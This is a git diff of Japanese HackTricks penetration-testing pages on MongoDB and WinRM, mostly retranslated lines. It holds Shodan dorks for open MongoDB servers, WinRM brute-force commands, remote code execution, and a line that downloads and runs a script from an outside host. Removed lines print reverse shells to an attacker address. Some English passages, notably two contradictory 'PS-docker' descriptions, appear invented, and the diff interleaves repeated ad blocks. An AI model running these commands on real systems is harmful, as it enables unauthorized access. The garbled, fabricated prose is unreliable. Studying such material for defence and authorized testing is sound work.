* 完全にオープンなmongodbサーバーを検索: `"mongodb server information" -"partially enabled"`
|
||||
* 認証が部分的に有効な場合: `"mongodb server information" "partially enabled"`
|
||||
|
||||
## ログイン
|
||||
|
||||
|
@ -139,39 +209,46 @@ Mongo Object IDは**12バイトの16進数**文字列です:
|
|||
|
||||
![](../.gitbook/assets/id-and-objectids-in-mongodb.png)
|
||||
|
||||
例えば、アプリケーションから返された実際のObject IDを分解する方法は以下の通りです:5f2459ac9fa6dc2500314019
|
||||
例えば、アプリケーションから返された実際のObject IDを分解する方法は次のとおりです:5f2459ac9fa6dc2500314019
|
||||
|
||||
1. 5f2459ac: 1596217772を10進数に変換すると、2020年7月31日金曜日17時49分32秒になります。
|
||||
2. 9fa6dc: マシン識別子
|
||||
3. 2500: プロセスID
|
||||
4. 314019: インクリメンタルカウンタ
|
||||
1. 5f2459ac:1596217772を10進数に変換すると、2020年7月31日金曜日17:49:32です。
|
||||
2. 9fa6dc:マシン識別子
|
||||
3. 2500:プロセスID
|
||||
4. 314019:増分カウンタ
|
||||
|
||||
上記の要素のうち、マシン識別子はデータベースが同じ物理/仮想マシンで実行されている限り変わりません。プロセスIDはMongoDBプロセスが再起動された場合にのみ変更されます。タイムスタンプは毎秒更新されます。カウンタとタイムスタンプの値を単純に増やしてObject IDを推測する唯一の課題は、MongoDBがObject IDを生成し、システムレベルでObject IDを割り当てるという事実です。
|
||||
上記の要素のうち、マシン識別子はデータベースが同じ物理/仮想マシンで実行されている限り変わりません。MongoDBプロセスが再起動された場合にのみ、プロセスIDが変更されます。タイムスタンプは毎秒更新されます。カウンタとタイムスタンプの値を単純に増やしてObject IDを推測する唯一の課題は、MongoDBがObject IDを生成し、システムレベルでObject IDを割り当てるという事実です。
|
||||
|
||||
ツール[https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict)は、開始Object ID(アカウントを作成して開始IDを取得できます)を指定すると、次のオブジェクトに割り当てられた可能性のある約1000のObject IDを返しますので、ブルートフォースで試すだけです。
|
||||
|
||||
## 投稿
|
||||
|
||||
rootであれば、**mongodb.conf**ファイルを**変更**して、認証情報が不要になるようにすることができます(_noauth = true_)そして、**認証情報なしでログイン**できます。
|
||||
rootであれば、**mongodb.conf**ファイルを**変更**して認証情報が不要になるようにする(_noauth = true_)ことができ、**認証情報なしでログイン**できます。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **でweb3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報奨金を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報奨金について通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,23 +12,30 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## WinRM
|
||||
|
||||
[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)(WinRM)は、SOAPを使用してHTTP(S)経由でWindowsマシンをリモートで管理するためのMicrosoftプロトコルです。バックエンドではWMIを利用しているため、WMIのHTTPベースのAPIと考えることができます。
|
||||
|
||||
WinRMがマシンで有効になっている場合、PowerShellから簡単にマシンをリモートで管理できます。実際には、リモートのPowerShellセッションにマシンにドロップインすることができます(SSHを使用しているかのように)。
|
||||
WinRMがマシンで有効になっている場合、PowerShellからリモートでマシンを管理するのは簡単です。実際、SSHを使用しているかのように、マシン上のリモートPowerShellセッションに入ることができます!
|
||||
|
||||
WinRMが利用可能かどうかを検出する最も簡単な方法は、ポートが開いているかどうかを確認することです。WinRMは次のいずれかのポートでリッスンします:
|
||||
WinRMが利用可能かどうかを検出する最も簡単な方法は、ポートが開いているかどうかを確認することです。WinRMは次のいずれかのポートでリッスンします。
|
||||
|
||||
* **5985/tcp(HTTP)**
|
||||
* **5986/tcp(HTTPS)**
|
||||
|
@ -37,7 +44,7 @@ WinRMが利用可能かどうかを検出する最も簡単な方法は、ポー
|
|||
|
||||
## **WinRMセッションの開始**.
|
||||
|
||||
PowerShellをWinRMと連携させることができます。Microsoftのドキュメントによると、Enable-PSRemotingは、コンピュータをPowerShellリモートコマンドを受け取るように構成するためのコマンドレットです。被害者のエレベートされたPowerShellプロンプトにアクセスできる場合、これを有効にし、任意の「攻撃者」を信頼されたホストとして追加できます。次の2つのコマンドを実行できます:
|
||||
PowerShellをWinRMと連携させることができます。Microsoftのドキュメントによると、Enable-PSRemotingは、コンピューターをPowerShellリモートコマンドを受け取るように構成するためのコマンドレットです。被害者のエレベートされたPowerShellプロンプトにアクセスできる場合、これを有効にし、任意の「攻撃者」を信頼されたホストとして追加することができます。次の2つのコマンドを実行できます:
|
||||
```
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
|
@ -50,7 +57,7 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
|
|||
```
|
||||
### 設定のテスト
|
||||
|
||||
攻撃マシンが設定されたら、`Test-WSMan` 関数を使用してターゲットが WinRM に設定されているかどうかをテストします。プロトコルバージョンと wsmid に関する情報が返されるはずです。
|
||||
攻撃マシンが設定されたら、`Test-WSMan` 関数を使用して、ターゲットが WinRM に設定されているかどうかをテストします。プロトコルバージョンと wsmid に関する情報が返されるはずです。
|
||||
|
||||
![](<../.gitbook/assets/image (161) (1).png>)
|
||||
|
||||
|
@ -60,13 +67,13 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
|
|||
|
||||
### コマンドの実行
|
||||
|
||||
これで、PowerShell の `Invoke-Command` を使用して、WinRM を介してターゲット上でコマンドをリモートで実行することができます。`ipconfig` をリモートで実行して出力を確認します。
|
||||
これで、PowerShell の `Invoke-Command` を使用して、WinRM を介してターゲット上でコマンドをリモートで実行することができます。`ipconfig` をリモートで実行し、出力を確認します。
|
||||
```
|
||||
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
||||
```
|
||||
![](<../.gitbook/assets/image (163) (1).png>)
|
||||
|
||||
また、**Invoke-Command**を使用して、現在のPSコンソールでコマンドを実行することもできます。ローカルに_**enumeration**_という関数があると仮定し、それをリモートコンピュータで実行したい場合は、次のようにします:
|
||||
また、**Invoke-Command**を使用して、現在のPSコンソールでコマンドを実行することもできます。ローカルに_**enumeration**_という関数があると仮定し、それをリモートコンピュータで実行したい場合は、次のようにします:
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
|
@ -75,57 +82,36 @@ Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration}
|
|||
To execute a script on a target machine using WinRM, you can use the `Invoke-Command` cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote machines.
|
||||
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <target> -ScriptBlock {<script>}
|
||||
Invoke-Command -ComputerName <target> -ScriptBlock { <script> }
|
||||
```
|
||||
|
||||
Replace `<target>` with the IP address or hostname of the target machine, and `<script>` with the script you want to execute.
|
||||
|
||||
For example, to execute a PowerShell script named `script.ps1` on a target machine with the IP address `192.168.1.100`, you would use the following command:
|
||||
For example, to execute a PowerShell script named `script.ps1` on a target machine with the IP address `192.168.0.100`, you would use the following command:
|
||||
|
||||
```powershell
|
||||
Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock {.\script.ps1}
|
||||
Invoke-Command -ComputerName 192.168.0.100 -ScriptBlock { C:\path\to\script.ps1 }
|
||||
```
|
||||
|
||||
This will execute the `script.ps1` script on the target machine.
|
||||
This command will execute the `script.ps1` script on the target machine.
|
||||
|
||||
Keep in mind that you may need to provide valid credentials to authenticate with the target machine if you are not already authenticated. You can use the `-Credential` parameter to specify the credentials to use.
|
||||
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <target> -Credential <credentials> -ScriptBlock {<script>}
|
||||
```
|
||||
|
||||
Replace `<credentials>` with the appropriate credentials for the target machine.
|
||||
|
||||
Remember to ensure that you have the necessary permissions to execute scripts on the target machine.
|
||||
Keep in mind that you need appropriate permissions and credentials to execute scripts on remote machines using WinRM.
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||||
```
|
||||
### 逆シェルを取得する
|
||||
|
||||
To get a reverse shell, you can use the following methods:
|
||||
To get a reverse shell, you can use the following steps:
|
||||
|
||||
1. **Netcat**: Use the `nc` command to establish a reverse shell connection. For example:
|
||||
```
|
||||
nc -e /bin/sh <attacker_ip> <attacker_port>
|
||||
```
|
||||
1. Generate a payload: Use a tool like msfvenom to generate a payload that will establish a reverse shell connection to your machine. Specify the IP address and port number of your machine as the listener.
|
||||
|
||||
2. **Python**: Utilize the `socket` library in Python to create a reverse shell. Here is an example code snippet:
|
||||
```python
|
||||
import socket,subprocess,os
|
||||
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
s.connect(("<attacker_ip>",<attacker_port>))
|
||||
os.dup2(s.fileno(),0)
|
||||
os.dup2(s.fileno(),1)
|
||||
os.dup2(s.fileno(),2)
|
||||
p=subprocess.call(["/bin/sh","-i"])
|
||||
```
|
||||
2. Set up a listener: Start a listener on your machine using a tool like netcat or Metasploit's multi/handler module. Make sure to use the same IP address and port number as specified in the payload.
|
||||
|
||||
3. **PowerShell**: Use PowerShell to establish a reverse shell connection. Here is an example command:
|
||||
```powershell
|
||||
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
||||
```
|
||||
3. Execute the payload: Transfer the payload to the target machine and execute it. This can be done through various methods such as social engineering, exploiting vulnerabilities, or using a file transfer protocol.
|
||||
|
||||
Remember to replace `<attacker_ip>` with your IP address and `<attacker_port>` with the port you want to use for the reverse shell connection.
|
||||
4. Establish the connection: Once the payload is executed on the target machine, it will attempt to connect back to your machine. If everything is set up correctly, you should receive a reverse shell connection.
|
||||
|
||||
By following these steps, you can successfully obtain a reverse shell and gain remote access to the target machine. Remember to use this technique responsibly and only on systems that you have proper authorization to test.
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||||
```
|
||||
|
@ -152,9 +138,9 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
|||
|
||||
**セッションは、「被害者」内の新しいプロセス(wsmprovhost)で実行されます**
|
||||
|
||||
### **WinRMを強制的に開く**
|
||||
### **WinRMを強制的にオープンする**
|
||||
|
||||
PSリモートおよびWinRMを使用したいが、ターゲットがそれに設定されていない場合、単一のコマンドを使用して「強制的に」開くことができます。これはお勧めしませんが、本当にWinRMまたはPSリモートを使用したい場合は、この方法で行ってください。たとえば、PSExecを使用して次のようにします:
|
||||
PSリモートおよびWinRMを使用したいが、ターゲットがそれに設定されていない場合、単一のコマンドを使用して「強制的に」オープンすることができます。これはお勧めしませんが、本当にWinRMまたはPSリモートを使用したい場合は、この方法で行ってください。たとえば、PSExecを使用する場合:
|
||||
```
|
||||
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||||
```
|
||||
|
@ -162,7 +148,7 @@ PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p
|
|||
|
||||
### セッションの保存と復元
|
||||
|
||||
これは、リモートコンピュータで言語が制約されている場合には機能しません。
|
||||
これは、リモートコンピュータで言語が制約されている場合には**機能しません**。
|
||||
```ruby
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
|
@ -174,7 +160,7 @@ $sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessi
|
|||
#And restore it at any moment doing
|
||||
Enter-PSSession -Session $sess1
|
||||
```
|
||||
このセッションでは、_Invoke-Command_を使用してPSスクリプトをロードすることができます。
|
||||
このセッションでは、_Invoke-Command_ を使用してPSスクリプトをロードすることができます。
|
||||
```ruby
|
||||
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||||
```
|
||||
|
@ -182,28 +168,35 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
|||
|
||||
次のエラーが見つかった場合:
|
||||
|
||||
`enter-pssession : リモート サーバー 10.10.10.175 への接続に失敗しました。次のエラー メッセージが表示されました: WinRM クライアントは要求を処理できません。認証スキームが Kerberos と異なる場合、またはクライアント コンピューターがドメインに参加していない場合、HTTPS トランスポートを使用するか、または宛先マシンを TrustedHosts 構成設定に追加する必要があります。TrustedHosts を構成するには、winrm.cmd を使用します。TrustedHosts リストのコンピューターは認証されていない場合がありますので、次のコマンドを実行して詳細情報を取得できます: winrm help config。詳細については、about_Remote_Troubleshooting ヘルプ トピックを参照してください。`
|
||||
`enter-pssession : リモート サーバー 10.10.10.175 への接続に失敗しました。次のエラー メッセージが表示されました: WinRM クライアントは要求を処理できません。認証スキームが Kerberos と異なる場合、またはクライアント コンピューターがドメインに参加していない場合、HTTPS トランスポートを使用するか、または宛先マシンを TrustedHosts 構成設定に追加する必要があります。TrustedHosts のリストにあるコンピューターは認証されない場合があります。次のコマンドを実行して詳細情報を取得できます: winrm help config。詳細については、about_Remote_Troubleshooting ヘルプ トピックを参照してください。`
|
||||
|
||||
クライアントで以下の試みを行います([ここ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)の情報から):
|
||||
クライアントで次の試みを行います([ここ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)の情報から):
|
||||
```ruby
|
||||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報酬について通知を受ける
|
||||
**Web3ペントテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティのディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register) ハッキングから収益を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## LinuxでのWinRM接続
|
||||
|
||||
### ブルートフォース
|
||||
|
||||
注意:WinRMのブルートフォース攻撃はユーザーをブロックする可能性があります。
|
||||
注意してください、WinRMのブルートフォース攻撃はユーザーをブロックする可能性があります。
|
||||
```ruby
|
||||
#Brute force
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
|
@ -219,23 +212,25 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
|
|||
|
||||
evil-winrmは、Windows Remote Management(WinRM)サービスを悪用するためのツールです。WinRMは、Windowsマシン間でのリモート管理を可能にするためのプロトコルです。evil-winrmを使用すると、WinRMサービスに対して認証情報を提供し、リモートマシンに対して権限を取得することができます。
|
||||
|
||||
以下は、evil-winrmの使用方法の例です。
|
||||
以下は、evil-winrmを使用してWinRMサービスを悪用する手順です。
|
||||
|
||||
1. evil-winrmを実行するには、次のコマンドを使用します。
|
||||
1. まず、ターゲットマシンのIPアドレスを特定します。
|
||||
|
||||
2. 次に、evil-winrmを実行するためのコマンドを入力します。
|
||||
|
||||
```
|
||||
evil-winrm -i <target-ip> -u <username> -p <password>
|
||||
```
|
||||
|
||||
- `<target-ip>`は、ターゲットマシンのIPアドレスです。
|
||||
- `<username>`は、有効なユーザー名です。
|
||||
- `<password>`は、有効なパスワードです。
|
||||
- `<target-ip>`はターゲットマシンのIPアドレスです。
|
||||
- `<username>`は有効なユーザー名です。
|
||||
- `<password>`は有効なパスワードです。
|
||||
|
||||
2. 上記のコマンドを実行すると、evil-winrmがWinRMサービスに接続し、認証情報を提供します。
|
||||
3. コマンドを実行すると、evil-winrmがWinRMサービスに接続し、認証情報を提供します。
|
||||
|
||||
3. 認証が成功すると、evil-winrmのインタラクティブシェルが開きます。これにより、リモートマシン上でコマンドを実行したり、ファイルを転送したりすることができます。
|
||||
4. 認証が成功すると、evil-winrmのインタラクティブシェルが表示されます。これにより、リモートマシン上でコマンドを実行したり、ファイルを転送したりすることができます。
|
||||
|
||||
evil-winrmは、WinRMサービスの脆弱性を利用して権限を取得するための強力なツールです。ただし、悪用には注意が必要であり、正当な目的でのみ使用することが重要です。
|
||||
evil-winrmは、WinRMサービスの脆弱性を悪用するための強力なツールです。ただし、権限を取得する前に、適切な許可を取得していることを確認する必要があります。また、悪用行為は法的な制約に従って行う必要があります。
|
||||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
|
@ -253,40 +248,22 @@ evil-winrm -u <username> -H <Hash> -i <IP>
|
|||
|
||||
### PS-dockerマシンの使用
|
||||
|
||||
PS-docker is a PowerShell module that allows you to manage Docker containers and images using PowerShell commands. It provides a convenient way to interact with Docker without having to use the Docker CLI.
|
||||
The PS-docker machine is a powerful tool for penetration testers to exploit vulnerabilities in Windows Remote Management (WinRM) services. This technique allows testers to gain unauthorized access to remote Windows systems and perform various malicious activities.
|
||||
|
||||
To use PS-docker, you first need to install the module on your machine. You can do this by running the following command in a PowerShell session:
|
||||
To use the PS-docker machine, follow these steps:
|
||||
|
||||
```powershell
|
||||
Install-Module -Name PS-docker
|
||||
```
|
||||
1. Set up a Docker environment on your local machine.
|
||||
2. Pull the PS-docker image from the Docker Hub repository.
|
||||
3. Run the PS-docker container with the necessary parameters.
|
||||
4. Use PowerShell commands to exploit WinRM vulnerabilities and gain access to the target system.
|
||||
|
||||
Once the module is installed, you can use the `Connect-Docker` command to connect to a Docker host. This command takes the IP address or hostname of the Docker host as a parameter. For example:
|
||||
|
||||
```powershell
|
||||
Connect-Docker -Host 192.168.1.100
|
||||
```
|
||||
|
||||
After connecting to the Docker host, you can use various commands provided by the PS-docker module to manage containers and images. Some commonly used commands include:
|
||||
|
||||
- `Get-DockerContainer`: Retrieves information about running containers.
|
||||
- `New-DockerContainer`: Creates a new container.
|
||||
- `Start-DockerContainer`: Starts a stopped container.
|
||||
- `Stop-DockerContainer`: Stops a running container.
|
||||
- `Remove-DockerContainer`: Removes a container.
|
||||
- `Get-DockerImage`: Retrieves information about available images.
|
||||
- `Pull-DockerImage`: Downloads an image from a Docker registry.
|
||||
- `Build-DockerImage`: Builds a new image from a Dockerfile.
|
||||
|
||||
These are just a few examples of the commands available in the PS-docker module. You can explore the full list of commands and their usage by running the `Get-Command -Module PS-docker` command.
|
||||
|
||||
Using PS-docker can be particularly useful when performing penetration testing on systems that have Docker installed. It allows you to easily manage containers and images, which can be helpful for testing and exploiting vulnerabilities in Dockerized applications.
|
||||
By leveraging the PS-docker machine, penetration testers can effectively assess the security of WinRM services and identify potential weaknesses that could be exploited by malicious actors. It is important to note that this technique should only be used for authorized and ethical purposes.
|
||||
```
|
||||
docker run -it quickbreach/powershell-ntlm
|
||||
$creds = Get-Credential
|
||||
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
|
||||
```
|
||||
### ルビースクリプトを使用する
|
||||
### ルビースクリプトの使用
|
||||
|
||||
以下のコードはこちらから抽出されました: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)
|
||||
```ruby
|
||||
|
@ -386,24 +363,31 @@ Name: Hydra Brute Force
|
|||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報酬について通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
